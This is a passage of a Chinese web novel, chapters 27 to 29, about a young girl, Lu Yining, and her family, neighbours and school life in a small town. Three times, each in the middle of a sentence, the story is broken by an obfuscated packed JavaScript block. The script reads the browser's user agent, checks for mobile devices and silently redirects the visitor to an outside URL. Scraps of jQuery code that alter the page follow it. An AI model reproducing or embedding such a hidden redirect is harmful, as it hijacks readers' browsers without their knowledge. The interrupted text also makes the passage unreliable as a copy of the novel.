陆易宁一直跟着周丽去家后面的院坝里,她要洗衣服,陆易宁就帮她接水,帮她洗小件的。 “谢谢七七。”周丽笑呵呵地说:“待会给你买花生糖吃。” “不用了,我姐说会去给我买的。” “小丽姐姐,你今天怎么会回来得那么早啊?”陆易宁说:“我听周爷爷说,高中放学晚,你一般都是晚上才到的呀。” “我是悄悄请假回来的。”周丽悄声说:“我下午没去上课,你别告诉你杨奶奶啊,不然她会骂死我的。” 陆易宁对着嘴巴做了一个拉拉链的动作,“高中的课业是不是很难啊?我郑叔叔说高中很难读。” “也说不上有多难。”周丽想了想,“就是比你们学前班的难一点,你一直把书读下去,就不会觉得太难。” 陆易宁:“……” 最好是这样。 “我听杨奶奶说,你明年要读高三要考大学了。” “你还知道大学啊?”周丽用尽搓洗着手里的衣服,“对啊,考大学。” “那你想考什么大学呢?是清华北大吗?” 小孩子知道的大学不多,不是清华就是北大。 周丽摇了摇头,“都不是,说了你也不知道。” 陆易宁晃着她的胳膊撒娇,“你说嘛。” 周丽看了她一眼,“我想考人民大学。” “是北京的人民大学吗?” 周丽瞪大眼睛,“你怎么知道?” “我就是知道。”陆易宁十分得意,扭动着身子炫耀道:“我的直觉一向很准的,小丽姐姐,你一定会考上人大……人民大学的。” 而且,以后会在省检察院工作,简直是第一代家附近为人乐道的别人家的孩子。 一零年以前,无论文理,县一中每年高考最多有两个学生能上六百,还是在题目简单的情况下。题目难的年份,一个都没有。 虽然觉得小屁孩在说漂亮话,但是漂亮话谁都爱听,“谢谢七七,如果我真考上了,我请你上街,随便吃。” “我不需要上街吃。”陆易宁说:“如果周爷爷给你摆升学宴状元酒的话,你一定要留一个猪肘子给我单独吃。” “好!” 两人击手:“一言为定。” 周丽选 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周丽耐心地给她解释了which在定语从句中的使用,与that的区别,陆易宁张着嘴,其实听懂了,又装成似懂非懂。 教别人做题也是一个学习的过程,周丽从不觉得陆易宁问自己的问题烦,何况她问着玩的题都是比较难的,而且问的少,虽然小屁孩听不懂,但是她都会从头给她讲到尾。 几年没碰到难的知识点,这几天碰到了,陆易宁正处于三分钟热度上,在家里也不忘看从周丽那里借来的数学错题集,数学参考资料。 陆易安玩耍回来,她在二楼学习,陆易安去赵倩家看完碟片回来,她也在学习。 好几天没跟妹妹玩耍的陆易安觉得有点不对劲,蹑手蹑脚地推开房间的门,陆易宁此时坐在床边,以木床为桌,盯着密密麻麻的字,不知道在念一些有的没的。 “你在说梦话吗?”陆易安走到床边,凑近一看,纸张上写满了拼音,但是她完全看不懂。 陆易宁用手遮住自己刚写的英语作文。 陆易安扫了一眼摆放在床上的数学笔记和英语试卷,“就爱看一些乱七八糟的。” 小眼珠子一转,陆易安看妹妹这么闲,心里突然有了一个主意。 陆易宁太了解她了,察觉到她的神色变化,脱口而出,“我的作业没写完,会写的字不多,不会做一年级的题。”陆易宁将压在胳膊肘底下,用铅笔写的英语作文举起来,“你看,我连拼音都不会,写也写不来。” 英语的四线三格写法与拼音不同,连英语这门学科都没听过的陆易安哪里看得懂英语。 陆易宁写在数学本上的拼音连声调符号都没有,写得七上八下的,显然是乱写的。 为了验证陆易宁是不是智障,陆易安食指指着英语作业开头的一个单词,“你读一下给我听。” “dear Li Hua?” “哎哟,滴什么滴儿?”陆易安字正腔圆地拼读道:“是德~阿~日~” 陆易安无可奈何地摇了摇头,“唉,陆七七,你这么笨,以后读不了书怎么办?只能回家喂猪了!” “我们家没有猪。”陆易忍住笑说道。 “刚才,妈妈和倩倩阿姨就在楼下说了想喂猪的事,你放心,我会提醒妈给你留一个小猪崽的。” 真是个思虑周全的大姐。 陆易宁为了让她赶紧出去,除了点头,就是点头。 不一会儿,陆易安的声音从楼下飘上来,“妈,倩倩阿姨,陆七七是个笨蛋,连a o e都不会读!” 陆易宁:…… 27. 二十七章 纺织厂国庆只放两天假,且只有国庆当天上班的员工有双倍工资。刘秀珍和赵倩运气不好,被安排在三号和四号休假。 建材厂稍微好一点,有三天假期,且加班工资都是双倍。郑松一号至三号休息,陆平五号到七号休息。 假期最后几天,只有陆平在家,陆易安的好日子来了。 陆平的厨艺不好,又懒得做饭,整天带着四个孩子上街下馆子。 假期要结束了,最后一天,家里没有菜。 上街吃完晚饭,陆平去买菜回家装装样子,陆易安先带着弟弟妹妹去家附近的零食店选零食。 自从搬离了煤矿村,陆易安的零花钱少得可怜。小吃店一个星期未必能去一次,上次买零食,还是和郑煦、周星合伙凑了六块钱才有底气上街。 当然了,六块钱里陆易安只出了五毛。奈何她的嘴巴厉害,郑煦说不过她,只好拜托周星带着她一块去。 上次买零食全靠自己说漂亮话,今天,终于能装一个大的了。 陆易宁走进零食店,先看了老板娘一眼。老板娘是个三十多岁的女人,有点胖,目光凌厉,面相偏凶。 陆易宁依稀记得,第一世时,陆易安似乎和她吵过架,因为她到家里告状,说陆易安偷东西,害得陆易安被爸妈打了一顿。 所以,陆易安之后宁愿把钱送进学校的小卖部,或者多走六七百米去超市里买零食,也不愿在她家买。 具体偷没偷,陆易宁并不清楚。 刚要喊陆易安换别家,陆易安和郑煦一进零食店,哪有肯走的理,看见什么拿什么。陆易安还劝郑煦不要客气。 喊不动,那就加入。 陆易宁拿了一只自动铅笔和配套的笔芯,还有自己喜欢吃的一毛钱一个的干脆面。之后,就一直盯着陆易安。 万一被诬陷了,她也算见证了全过程。 郑煦喜欢吃糖,专门选各个口味的棒棒糖。陆果果则是傻乎乎地跟在陆易安的屁股后面转。 陆易安特意给周星拿了六包他最喜欢的干脆面,上次上街吃了他的小笼包和辣条,今天怎么说也要还一点给他。 老板娘坐在门口的收银台后面,视线一直跟着四个孩子走。 这几个孩子不经常来店里买东西,其中最大的也才六七岁。 女人看着他们选零食,顺带在心里默默计数。 零食费用快到十块了,女人抱着手质疑道:“你们有钱吗?” 陆易安抽出空走到收银台前面,“嬢嬢,我们先选,等会我爸爸会来结账的。” 老板娘的脸色稍微缓和了一点,“那好,我家不能赊账的。” 几人将买来的东西放在收银台上,老板娘随便从抽屉里拿了一个皱巴巴的塑料袋,一边将零食扔进去,一边计数。 陆易宁听着她口中说的数字,心里也在算。 一共十五块五。 …… “一共二十三。” 陆平来结账时,老板娘笑眯眯地将零食口袋提起来交给他。 陆易宁有点懵了。 陆易安皱着眉头说:“不对!你算错了,没有二十三,一共才十七块。” 陆易宁耷拉着眼皮,看她一脸认真的模样,腹诽:大姐,你也算错了。 “我再重新算一下。”女人有些尴尬,将口袋里的零食倒出来,当着陆平的面,挨个把零食装进口袋,“五角,一块,两块,四块,三块五……一共二十三,没错啊!” 陆平是个缺心眼,买东西的时候向来是别人说多少他给多少。为此,刘秀珍很少给他钱让他买东西。 前几天给了他五十块,也是因为他休息,让他买菜来给孩子做饭。 现在他浑身上下大概只剩二十块,还是在贴进去不少私房钱的情况下。 陆平随便选了几袋零食出来,“就这些,二十块够了吧?” 陆易宁十分无语地盯着收银台。 父亲的烂脾气就是不仅缺心眼,还很爱面子,爱当老好人,最怕的就是和别人撕破脸。 老板娘一副做了亏本买卖的模样,“行吧,二十就二十,都是邻居嘛。” “才不是,根本就没有二十块。”零食少了不说,还多陪进去三块钱,自己半个月都不见得会得三块零花钱,陆易安心里十分不舒服,冲陆平嚷道:“她乱收费,干脆面明明五角钱一包,她硬收成一块钱。” “是吧,郑阳阳?” 郑煦点头,“是啊,陆伯伯,她家干脆面前天也只卖五角钱。” 陆平假装没听见一般,假笑两声,开始掏钱。 陆易宁看不下去,“爸,一共才十五块五,你拿掉那几包东西,现在只用付十三块。” 老板娘脸上的笑容越来越难看,皮笑肉不笑地盯着陆易宁和陆易安,“我家不欢迎不诚实的小孩子哦,不过你们年纪小,嬢嬢不跟你们计较。” “哎哟,麻烦了麻烦了。”陆平接连表示歉意。 “本来就是你乱收费,一角的干脆面你收五角,五角的你收一块。我们重新算一遍,可不可以嘛?”陆易宁踮起脚,要把袋子里的东西倒出来重新数。 陆平看老板娘脸色难看,抓紧数完一把零钱,放在桌上,“钱你收好,小孩子数学不好,麻烦了麻烦了。” 陆易安哪受得了这种气,将桌上的钱抢过来,“我们不在你家买了,我去别家买。” 陆平出声呵止:“陆安安!” 刚收回来的钱又被抢过去放在原位。 陆易宁无话可说。 父亲现在的心理就是都是邻居,抬头不见低头见的,吃点亏能怎么了? 陆平连忙给老板娘赔不是,郑煦提着零食口袋走出了零食店。 花了二十块,买了十三块的东西,还要给人赔不是。 陆易宁懒得说什么,父亲一直是这样。说他性格懦弱,他面对不平能和工厂老板硬碰硬;说他有点骨气,在面对跟自己有点关系的人,亲戚也好,邻居也罢,总是为了维护一点点熟人之间的脸面,让自己的孩子跟着他吃瘪。 刚才不让她和陆易安向老板娘道歉算得上是好的了。 他的坏脾气他自认为是待人和善的优点,说了他不听,听了也不改。 虽然这一世才没几年,但陆易宁已经麻木了。 若是今天在这的是母亲,肯定不会是这样。当然,如果是母亲休假,他们连零食店都进不了。 还没走到路口,已经与零食店拉了三十来米的距离,陆平总算找到时机教训孩子,“陆安安,刚才你怎么能冲嬢嬢喊呢?” 陆易安瞪了他一眼,不想和他说话。 “爸,我们都吃亏了,你就别说我姐了。”陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438385|169308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 易宁撕了一颗棒棒糖递给陆果果,“难道还要让她回去道歉吗?” 陆平欲言又止。 陆易宁早就猜得到他要说什么,“不要说怕别人说你没教好她,说她没礼貌没教养,这压根就不是一回事。”陆易宁看着前方陆易安的后脑勺,语气平淡,“我姐看见老师会说老师好。放学回家看见水果店的熊爷爷在街上摆摊她也会帮他吆喝揽生意。看见同学被孤立,她会主动找人玩,带着同学们跟她玩。她懂礼貌有教养,倒是你,自己吃亏还要带着孩子跟你一块学吃亏。难怪你爸妈跟你哥总是逮着你一个人薅,要不是我妈,你肯定会被老家那几个吸血鬼吸干。你呢,自己性子软趴趴的就算了,有时候还觉得我妈对你家里的人” 陆易宁急忙收住嘴,一下子好像说得有点多了。 陆平沉默了,这孩子的嘴巴又开始能说了。之前是骂她爷奶,现在开始骂他了。 他生的孩子嘴巴都这么会说的吗? 陆平垂下头,陆果果嘴里塞着棒棒糖,左边的脸撑得鼓鼓的。他右手手牵着的小女儿性格内敛,话不多,有点像她二姐两岁时的样子。 陆平有点担心了,她以后也会长成话痨子吗? “是啊,陆大伯。”郑煦嘴里含着糖,“零食店里的方一敏嬢嬢经常乱收小孩子的费用,我妈和我爸带我去买的时候是一个价,我一个人去买的时候又是一个价。” “那你不早说。”陆易宁斜了他一眼,“一说去零食店,就你冲在最前面。” “那不是陆大伯会跟来的嘛,我又不知道嬢嬢连大伯的钱都能乱收。” 陆平:“……” 现在看起来,自己倒是连个孩子都不如。 陆平细声细语地喊道:“安安,你去选的零食,如果不吃的话,弟弟妹妹要吃完了。” “我才不吃她家卖的东西。”陆易安气呼呼地走在前面,快要到路口周大爷家时,又跑回来,从郑煦的手里把零食袋子抢来,把里面的干脆面全部翻出来后,抱着六包不同口味的干脆面去周大爷家里。 “杨奶奶。”陆易安收掉臭脾气,先礼貌地喊了一声躺坐在床的杨老太,“我星星哥哥呢?” 杨老太指了指里面的房间,“他在补作业。” 陆易安抱着干脆面进周星的房间,六包干脆面全扔他桌上,“上次你请我吃小笼包,这次我还你干脆面。我特意选的,里面有小人书的那种。” “陆安安,谢了!”周星两眼发光,“我的那几本小人书全被我姐洗了,现在又来了六本!” 周星作业也不做了,撕开一包干脆面,先把小人书拿出来,再将干脆面捏碎,噼里啪啦一阵响后,递到陆易安面前,“你也吃。” “我才不吃。”陆易安竖起食指,气汹汹地警告周星,“我告诉你,以后不要在方一敏家买东西吃,她烦人得很。” “哦……”周星似懂非懂地点头。 体积最大的零食全被抽走了,零食袋子一下子就瘪了。 陆易宁和郑煦同时挂出一副蔫蔫的神情,缩着脖子,好歹留一包分着吃啊! 那可是量多的小当家干脆面! 没一会儿,陆果果又把里面的仔仔棒抓走了一半,跑进周家,“杨奶奶,你要吃糖吗?” 陆易宁翻了一下零食袋子,得了,她最喜欢吃的苹果味的仔仔棒也没了。 28. 二十八章 陆易宁每天放学回来都会待在楼上看周丽留给她的资料。有初中的数理化教材,笔记,教材参考书,有高一的化学和物理辅导资料书。 她专门在床底下放了一个纸盒子,这些书就放在床底下的盒子里。只要陆易安一进来,她就拿出学前班的作业打掩护。 赵倩来家里摆龙门阵,刘秀珍说她在楼上写作业。陆易安带着陆果果去邻居罗伟大伯家看动画片,她一个人在家写作业。周围的小孩聚在一块玩过家家,她在写作业。家附近有人结婚,举办酒席,所有的孩子都去婚礼现场玩,她吃完酒席,回家继续写作业…… 每天六点到八点半的这段时间,在大人眼中,陆易宁都在写作业。 其实陆易宁看那些借来的辅导资料早就看烦了,之所以待在家,是在偷偷看从周大爷家借来的青年文摘,还有去街上偷偷买的二手小说。 她一个五岁孩子看言情小说看得龇牙咧嘴的,若是被大人看到,不会说她天赋异禀,只会觉得她看见了脏东西,带她去收惊。 风阳镇旧街小学学前班只有一个班,百来个孩子坐在一间大教室里上课,老师留的作业都是一样的。 赵倩看陆易宁每天下午在家写作业,看书,自家孩子每天一回来就跟周围的朋友在路上滚铁环。问他作业,他就说已经完成了。 赵倩越想越不对劲,大手一挥,限制了郑煦放学后的玩乐时间,逼着他在家学陆易宁看书学习。 这死孩子肯定没写作业就开始玩了。 郑煦跟他妈妈吵,说作业根本不多,赵倩就说:“你看人家陆七七,就算作业做完了,天天晚上都在忙着看书预习,写字。你怎么一回家不是看电视就是出去鬼混?” 加上刘秀珍经常在赵倩面前夸陆易宁,赵倩望子成龙心切,硬生生逼着郑煦向陆易宁学习。 …… 陆易宁也不知道自己无意中造了孽,坑了郑煦,她心里有点高兴,怎么连自己也坑了。 在母亲大人的安排下,只要郑松上白班,每晚六点,她和陆易安都要拿着课本去隔壁学习补课。 赵倩特意拜托她父亲赵大爷做了一张长条木桌,专门用来给三个小孩学习。天气晴的时候,桌子被摆放在院子里,不好的时候,就放在客厅的沙发前。 郑松读过初中,是两家人里目前学历最高的。 人家愿意把两个孩子送过来让他辅导,他当仁不让。 陆易宁既然要装,那就装个烦人的。 “郑叔郑叔,“的”是多音字吗?” “郑叔郑叔,我这篇看图写话写离题了吗?” “竖式计算是什么啊?” “我们以后要学英语吗?英语和拼音一样吗?” “郑叔,九九乘法表里九乘九是八十一吗?” 陆易宁跟个报喜鸟一样,只要郑松一从长桌前经过,她总有问题,衬得她身边的另外两个跟个傻子似的。 郑松去院里喂鸡,陆易宁拿着语文课本也要跟在他屁股后面,有模有样地背书给他听。 “你妹好烦啊!”郑煦终于找到空子向陆易安吐槽。 “就是。”陆易安咬着铅笔头,“她连拼音都不会,天天怎么这么多问题?烦死了,就因为她,我妈连电视都不让我看了,天天让我来你家做作业。” 郑煦抱怨道:“学前班的作业少,她专门拿还没学过的来问我爸爸,我妈问我,我不会,我妈还以为我骗她,差点被打了一顿。” “七七的记忆力真好。”郑松喂完鸡回来,“全都会背了。” 夸完陆易宁,郑松扭头看向沙发旁边盯着他看的郑煦,两眼空空,不知道在想什么,“郑阳阳,你看人家陆七七,今天要背的文章,她十分钟就会背了,你半天还在第一句。” “谢谢郑叔。”陆易宁装模作样地鞠躬,抬起头就迎上郑煦仇视她的眼神。 没办法,谁让你嘲笑我是肥肉坨坨来着。 郑松检查了陆易安和郑煦的作业,半个小时了,一半都没写完。 横向对比下,又狠狠地跨了陆易宁一顿,才去隔壁厨房给上长白班的赵倩做晚饭。 “陆七七,我忍你好久了,你现在就跟我们班的学习委员一样招人烦。”陆易安率先开火。 郑煦在后面补刀,“就是就是。” 陆易安环起双手,“你厉害得很,那你会做一年级的题吗?你会写一年级的字吗?你会两位数的加减法吗?” 郑煦:“对啊对啊!” “我不会一年级的题,我又没上过一年级。”陆易宁摇头,眼睛又看向郑煦,“但是比学前班的内容,我完爆你。” “你!”郑煦手拍在桌子上,没几秒钟,气势又软下来,“什么叫完爆?” 陆易安对着他的后脑勺翻了一个大白眼,“就是拿捏你,很容易就比你好的意思。” “谁叫你骂我肥肉坨坨的?”陆易宁单朝着郑煦开枪,“你骂我胖,那我就让大人们觉得你是个笨蛋。” “她在说什么?”郑煦懵懵地问陆易安。 陆易安:“她是故意让大人们夸她聪明,夸她乖,你妈妈拿你跟她比起来,你就是个笨蛋。就跟我们班学习委员一样,我们的语文老师就觉得我们是笨蛋。” 郑煦恍然大悟,“我叫你肥肉坨坨,我不是跟你道歉了吗?” 陆易宁手撑在木桌上,“我说我只接受你求饶,不接受你道歉。” 郑煦硬气地说:“我才不会求饶。” “陆七七,我是你姐诶。”陆易安一听,自己压根就是被牵扯进来的,“我不管,从今以后,你要是在家里还故意问爸题目,天天躲在楼上看书,装乖孩子,我就把你床底下的垃圾全扔了。” “好,那我不问了,我只问郑叔叔。”陆易宁欠打地笑着说。 郑煦的拳头都捏紧了,但是有陆易安在,他打不过她。 …… 一入冬,几乎每天都在下雨,天气越来越冷,冬天不经常下雪,偶尔飘点小雪米。 晚上降温,地上的水全凝结成冰。 今天是期末最后一天,领成绩单。去学校之前,陆平给女儿的鞋底绑上麻绳,这样可以增大与地面的摩擦力。 虽然脚底下绑了绳子,小心翼翼地行走,但是陆易宁还是摔了五六个屁股蹲。反观陆易安以滑冰的心态走路,大大方方地滑,反而只摔了一次。 进入学校的大门之前,陆易安郑重地问陆易宁:“你有信心吗?” “当然。” 郑煦奚落道:“学前班人那么多,你考第一?你说大话吧!” 这话陆易安就不爱听了。 刘秀珍说过只要她和妹妹考试考得好,能得两块的零花钱,压岁钱还能得到更多。 校门口到教学楼区域的路是一个斜坡,现在上面全是冰,虽然学校特意用煤灰铺了一条路出来给学生走,但是很多人都是选择坐在冰面上滑下去。 “郑阳阳,你想滑冰吗?”陆易安似笑非笑地问郑煦,“如果你想滑冰的话,我可以把你从这推下去。” “我自己来。”郑煦搓了搓手掌,坐在冰地上,手往后一推,一溜烟就滑到终点,滑得十分畅快。 地上的冰块消融,陆易宁听见老师说期末考试有五个人双科都得了满分的时候,心也跟着冰块融化了,冷冷的冰水一滴一滴地敲在心脏上。 她还怕得双百太显眼不好,所以故意错了几道题。现实啪啪打脸,相比于老家的学校,现在的学校教育质量压根无需她自谦。 陆易宁的语文考了九十六,数学九十五,以一百九十一的总分成绩与另外两名同学霸占了班级第五名的位置。 陆易安语文八十一,数学七十八,全班四十八个人位于十五名。 郑煦的名次排在二十名。 晚上刘秀珍下班回来,看见两个女儿的分数,大方地兑现了自己的诺言。 陆易宁和陆易安各自得了两块钱。 第二天早上八点半,赵倩下班回来,对儿子的考试成绩她是满意的。 寒假第一天,郑松已经去上班了,陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438386|169308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 易宁故意拿着假期作业去到隔壁,此时赵倩在煮面吃。 陆易宁贴在她家的小厨房的门框上,“倩倩阿姨,你下班了。” 赵倩弯下腰,重新把橱柜里的挂面拿出来,“是啊,七七吃早饭了吗?没吃的话我连你的面一起煮。” “不用,我吃过了。”陆易宁往左边移了两步,看向她家的客厅,“郑叔叔呢?” 锅里的面汤翻滚,差点漫出来,赵倩赶紧用筷子搅拌锅里的面条,“你郑叔叔倒班了,今天上的早班。” 陆易宁走到炉子旁,十分欠打地问:“郑阳阳还没起床吗?我想找他做寒假作业。” “哎呀,七七你考试考得那么好,才放假第一天就这么认真啊!” “我们班考两百分的都有好几个人。”陆易宁乖巧地说“老师在班上经常夸郑阳阳,就是这次考试他大意了,数学才得了八十六。我想给他补补,就像老师说的,在寒假弯道超车嘛。” “弯道超车?”赵倩关掉电磁炉,这个词好啊,“郑阳阳还在睡觉,我去给你把他喊醒。哎哟,七七真懂事…” 赵倩哼着小曲儿离去,陆易宁帮她把面条夹进碗里。 在陆易宁的挑拨下,郑煦不到九点就被抓起来。 草草吃完面,被迫坐在回风炉旁跟陆易宁一块做作业。 赵倩把火烧旺,盖上炉口盖,美滋滋地去睡觉了。 郑煦顾不上打哈欠,瞌睡都被气跑了,“陆七七,你怎么那么烦啊!今天是寒假第一天!” “我知道啊。”陆易宁埋着头给自动铅笔换笔芯,“老师说放假不能一直玩,每天都要做作业,所以我打算以后每天早上都来喊你起床做作业。” “下午不行吗?” “不行,下午要自学下半个学期的内容。你妈妈说,让我检查你的作业,如果不合格,她会喊你重新做,而且还会让你爸爸重新给你布置别的作业。” “你真的……”郑煦仰起头,绝望地大叫:“啊!!!” 寒假第二天,陆易宁继续去隔壁喊人起床,“郑阳阳,今天我们把声母韵母抄完。” 第三天,继续,“郑阳阳,我们今天从一写到十,一个数字写十遍。” “郑阳阳,我教你背九九乘法表。” 这些任务对于陆易宁来说是小意思,对于五岁半的郑煦,就是要命的东西。 第六天,郑煦终于受不了了,他爸妈跟身旁女魔头就是一伙的。 在陆易宁的添油加醋下,郑松多给他买了一本口算练习册。 “陆七七,我跟你道歉,你明天别来我家了行不行?”郑煦双手合十跪在沙发上,“我妈已经好几天不准我去罗大伯家看动画片了。” “我可以告诉你,你的灰太狼大王吃不上羊的,所以你不用看。” “啊!!”郑煦一头栽倒下去,“我向你道歉,道歉好了吧!对不起,你不是肥肉坨坨,我是,我才是!” 陆易宁抱着双手,忍住笑,“我不接受。” 郑煦翻爬起来,“对不起嘛,我妈妈说你比我还大,你比我懂事得多,你就原谅我行不行?别那么小气嘛。” “别说我只比你大几个小时,就算我比你大二十五岁,大五十岁,我也没那么大方,谁让你拉着人欺负我的?” “我错了,我求饶,我以后不敢了!”郑煦差点要磕上头了。 “我告诉你,不仅是我,以后班上那个戴眼镜的女生,你要是敢带着人喊她四眼仔,我也会来你家亲自教训你的。” “好好好。”郑煦连连点头,“我保证以后不会乱给人编绰号了!否则,否则我爸就不给我装天锅,我只能看一辈子碟片,不能看动画片。” 卫星电视是郑煦求郑松求了两个月才求得的,他肯发这个毒誓,也是被逼到头了,陆易宁也不好一直逗弄他。 “那好吧。” 陆易宁开始收自己的作业本,和郑煦一块出了门。 郑煦去干田边的另一家里看喜羊羊与灰太狼,陆易宁回家看床底的小说。 29. 二十九章 陆续下了半个多月阴雨,天气放晴了没几天,一月底,终于下了这一年的第一场大雪。 毛绒般的雪持续下了一晚上,第二天一早,各家屋顶全是白花花的,地上积累的雪能有一个指节深。 这已经是风阳镇近几年来遇到的含雪量最高的雪景了。 大人们在楼下唏嘘雪大,路上不好走时,陆易安听见他们说下雪,仿佛打开了身体的开关,眼睛一睁,连忙从床上翻爬起来。 站在阳台上望过去,斜对面罗大伯家的猪圈,马路对面周大爷家的屋顶,目光所及之处皆是雪白的。 陆易安在门口大喊大叫,“陆七七,陆果果,下雪了,你们快起床啊!” 陆易宁将她掀开的被子拉下来裹着睡在床中间的陆果果,“你快把门关上,不就是下个雪吗?冷死啦!” 陆易安在阳台的围栏上团了两个雪球跑进屋,趁陆易宁还在睡觉,扔她衣服里。 “陆易安!!你烦不烦啊?” 冰冷感猝不及防地在脖子后方散开,陆易宁被雪团的冰冷刺激,连忙从被子里爬出来扯着后衣摆抖雪。 “陆七七,我跟你说,外面的雪好大!”陆易安眼睛瞪得大大的,身上只穿了秋衣秋裤,手里还团着另一个小雪球,两只手被冻得通红。 陆易宁打着哆嗦,陆果果稀里糊涂的爬起来,陆易安掰了一小块雪喂到她嘴巴里。 陆易安满怀期待地问:“好吃吗?” “好冰啊!” 陆果果的睡意已然被冰没了。 门口的干田披上厚厚的一层雪,成为了一块天然的画板。 吃完早餐,陆易安伙同住在斜对面罗大伯家的两个小孩,该捉狗的捉狗,该捉鸡的捉鸡,捉鸭子的捉鸭子,附近没有马,那就不用了。 陆易安去郑家院子里,从鸡圈里偷偷捉了赵倩喂的一只小公鸡出来扔干田里。 罗家的孩子则是把家里刚会跑的小狗抱出来,周星也把爷爷买来过年杀的鸭子抱出家门,往田里扔。 小动物们在干田里瞎跑,从田里跑到马路上。 陆易安带着陆果果在田边看,边看边教她读小学课文《雪地上的小画家》。她读一句,陆果果一句。 “下雪啦,下雪啦,雪地里来了一群小画家。小鸡画竹叶,小狗画梅花,小鸭画枫叶,小马画月牙。不用颜料不用笔,几步就成一幅画。青蛙为什么没参加?它在洞里睡着了。” 下班回来的大人们吃完饭,看见鸡鸭在家门口,在田里乱跑,二话不说,换掉拖鞋,忙着把家禽捉回笼子里。 田里的竹叶,梅花和枫叶被大人们的鞋印弄得乱七八糟,陆易安因为偷偷把赵倩喂的鸡抱出来乱搞,被刘秀珍骂了一顿。 …… 工厂排班紧,天气又冷,刘秀珍的买猪计划一直未能实施。 积雪化尽,刘秀珍只能和赵倩商量着向罗伟家合伙买一头猪杀来过年。 乡镇上无论哪家办大事,几乎周围的人都会来帮忙。除了结婚丧葬,杀过年猪也是一件大事。 杀过年猪当天,赵倩在上班。陆平、刘秀珍和郑松休息。住在街口的人也有不少在工厂里上班的,只要是在家休息的,都来帮忙了。 年关将至,光是街口附近的人家,有时候一天能宰三头猪。 男人们负责押猪,女人们负责在家门口烧热水,切肉做饭。猪下水被挂在树上或者其他比较高的地方,小孩子就负责在家门口守着刚切割完的肉和树上的猪大肠猪心肺,如果有狗过来,只管拿手里的棍子吓唬。 陆易宁和陆果果被陆易安安排守猪肉,她带着郑煦和罗伟家读学前班的小女儿罗玉美挨家挨户的串门。谁家杀了猪,就去谁家。 从家附近跑到街上转了一圈回来,每个人的手里都拿了一个猪尿泡,陆易安厉害一点,拿了俩。 陆易安当面教郑煦和罗玉美说尿泡是要用嘴对着吹的,结果她先跑回家用菜刀把刘秀珍藏在桌子底下,用来打小孩的竹棍切了半截下来。 郑煦直接塞在嘴巴里吹气,陆易宁看破不说破,“你信不信,这个跟气球一样,只要你不用力吹,它就会漏气。” “真的?”郑煦的嘴巴刚松开,鼓起来的尿泡口就冲他嘴里漏气。 “噫~”陆易宁皱着眉头。 “yue~”郑煦呸呸呸往外吐口水,“好臭!” 陆易安切了细竹筒出来时,郑煦正跑回家喝水漱口。 “陆安安,郑阳阳说这个很臭。”罗玉美拿着尿泡,实在下不了嘴。 “用这个。”陆易安拿出竹筒,塞在尿泡口部,鼓起嘴巴往里吹气,吹完再用细线栓紧,“我爸就是这样吹给我玩的。” 罗玉美学着她吹,陆易安把另一个没吹过的给陆易宁,“你要吹吹看吗?” 陆易宁摇头,“我不要。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438387|169308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “你不要就好。”陆易安把另一个尿泡吹大,用一根长毛线系在老妈专门用来打人的竹片上,让陆果果拿着玩,“你不是想要气球吗?这个比气球还好玩。” 陆果果开心极了,像是提了一个灯笼一样提着尿泡去给杨老太看。 陆易安则是把郑煦扔地上的尿泡洗干净,重新吹大,当成皮球踢来踢去。 三个尿泡,两个被陆易安造得十分埋汰,只有陆果果的那个干干净净的被系在竹片上。 然后,下午吃晚饭时,它成功变成了一道装着糯米的菜,专门用来给陆果果治尿床。 陆果果吃完饭,找不到气球了,又哭了好一阵。 …… 今年的年本来是计划回杨长过的,但是刘秀珍和陆平都被安排在过年当天值班,三个小孩白天的时间几乎都是待在赵倩的父母家,晚上才回来和父母吃年夜饭。 过完年,刘秀珍终于有时间做熏腊肉,熏完腊肉的第二天,和陆平一块回娘家。 陆平说要带孩子回去看爷爷奶奶,不出意外,他的三个女儿宁愿待在外婆家大舅舅家,也不愿去吉长。 陆平只好背着两块腊肉,一个人从杨长走到吉长。 他是当天去当天回的。 回来的时候神色恹恹的,刘秀珍就猜到发生什么了。 “你爸妈今年过年是在你哥家过还是自己过。” “自己过。”陆平坐在火炉边,心里拔凉拔凉的,“我听大军哥说,从他们杀完猪,哥和嫂去帮忙,分完肉到现在,哥嫂就没怎么和他们俩说话。” 陆易宁陪堂哥的大儿子在火边用水彩笔画画,听到这,唏嘘又觉得正常。 刘秀珍笑了笑,“回去你爸妈是不是对你发火了,然后各种咒骂你?” 陆平没说话。 “那两块肉呢?”刘秀珍磕着瓜子问。 “收了,然后觉得我们给的少。” 陆易宁:我就猜到。 刘森抱了两只猪腿还有自家做的香肠进来,稳当地放进陆平背回来的箩筐里,“我家做得多,这些你们明天走的时候带回去。” 